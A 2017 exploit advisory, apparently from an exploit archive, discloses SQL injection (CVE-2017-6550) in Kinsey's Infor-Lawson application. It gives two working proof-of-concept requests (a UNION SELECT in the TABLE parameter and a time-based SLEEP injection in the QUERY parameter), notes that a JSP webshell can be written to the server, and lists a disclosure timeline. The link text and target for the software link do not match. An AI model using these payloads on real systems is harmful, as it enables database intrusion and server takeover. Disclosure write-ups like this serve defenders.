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Kinsey's Infor-Lawson SQL Injection

Kinsey's Infor-Lawson SQL Injection
Posted Mar 10, 2017
Authored by Michael Benich

Kinsey's Infor-Lawson (formerly ESBUS) suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2017-6550
SHA-256 | 85152340b28b395715e734e2a556531ee9b468cc00ef4193ee190eed3669ba8e

Kinsey's Infor-Lawson SQL Injection

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Summary: Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:
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Vendor: Kinsey
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Software Link: [](https://c4b.epson-biz.com/modules/community/index.php?content_id=50)http://www.kinsey.com/infor-lawson.html
------------------------------------------------------------------------
Identifier: CVE-2017-6550
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Tested on: Windows Server 2008 R2; MySQL ver 5.5
------------------------------------------------------------------------
Exploit Author: Michael Benich
Contact: benichmt1 [at] protonmail.com or @benichmt1
------------------------------------------------------------------------
PoC:

1) TABLE parameter, PoC below

GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1

------------------------------------------------------------------------

2) Query POST parameter

POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1

<--snip--http headers-->

QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB

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A JSP webshell can then be written to the /esbus/ directory.
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Timeline:

12/1/2016 - Discovery. Contacted generic security emails
12/1/2016 - Received response from vendor ("Thanks for the info...")
2/27/2017 - Followed up with contact and intent to disclose. No reply.
3/10/2017 - Disclosure
------------------------------------------------------------------------


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